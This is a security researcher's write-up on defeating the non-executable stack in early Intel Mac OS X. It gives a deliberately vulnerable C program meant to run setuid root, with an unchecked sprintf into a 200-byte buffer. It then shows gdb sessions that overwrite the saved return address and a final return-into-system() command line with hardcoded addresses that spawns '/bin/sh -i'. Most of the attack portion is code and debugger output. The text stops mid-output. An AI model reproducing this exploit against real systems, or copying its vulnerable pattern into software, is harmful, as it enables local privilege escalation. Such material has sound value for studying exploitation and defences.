文章作者:kf[at]digitalmunition[dot]com
After my obligatory Cinco De Mayo Corona hangover had passed, I decided it was time to score a little
Non eXecutable Mac Mini Hotness from my local Apple retailer. After calmly explaining to the salesman
"NO, I don't want a keyboard OR a mouse... no monitor! NO extra ram either, JUST the MacMini!" I made
my purchase and returned home quickly.
Before I knew it the OS was installed and it was time to lift up the Mini's skirt and see what was
going on behind the scenes. The first thing I wanted to do was verify that the non executable stack
was actually doing what it was designed to do. Simply creating a vulnerable program and trying to run
code from the stack was enough to validate that Apple had at the very least made proper use of the NX
flag in their intel product line.
k-fs-computer:~ kf$ cat > test.c
// make me setuid root
main(int *argc, char **argv)
{
char buf[200];
sprintf(buf, "%s", argv[1]);
printf("test\n");
printf("buf: %s\n", buf);
return 0;
}
k-fs-computer:~ kf$ cc -o test test.c
test.c: In function 'main':
test.c:4: warning: incompatible implicit declaration of built-in function 'sprintf'
test.c:5: warning: incompatible implicit declaration of built-in function 'printf'
k-fs-computer:~ kf$ gdb -q ./test
Reading symbols for shared libraries .. done
(gdb) `perl -e 'print "A" x 212 . "ABCD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . "ABCD"'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x44434241
0x44434241 in ?? ()
After locating the length to overwrite eip we simply need to locate our string and
try to return into it.
(gdb) x/2s $edi
0xbffffbcc: "/Users/kf/test"
0xbffffbdb: 'A' <repeats 200 times>...
(gdb) r `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffbdb
0xbffffbdb in ?? ()
As you can see from the KERN_PROTECTION_FAILURE Apple has done a successful job at implementing the
Intel NX bit support in OSX. The presence of the NX bit alone however does not mean that OSX is
immune to code execution attacks.
Classic non executable stack bypass techniques involve return into libc based exploits and OSX is
not exempt from this style of attack by any means. The KERN_PROTECTION_FAILURE failure we experienced
above can in theory be bypassed by doing a simple return into system(). In practice it seems to work
quite well.
Plenty of papers outline the methods involved in return into system() style attacks so I won't go into
them here. In essence what we need is for the buffer to have the following structure:
< Ax212 > < system address > < exit address > < /bin/sh address >
(Thanks to JohnH -
john@jbhale.com for reminding me of the *proper* place to stash "/bin/sh" )
Once everything is in place we are ready to rock, no shellcode hassle and no KERN_PROTECTION_FAILURE
k-fs-computer:~ kf$ export SSH_CLIENT=" /bin/sh -i "
k-fs-computer:~ kf$ ./test `perl -e 'print "A"x212 . pack('l',0x90047530) . pack('l', 0x90010bf0) .
pack('l',0xbffffd02)'`
test
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...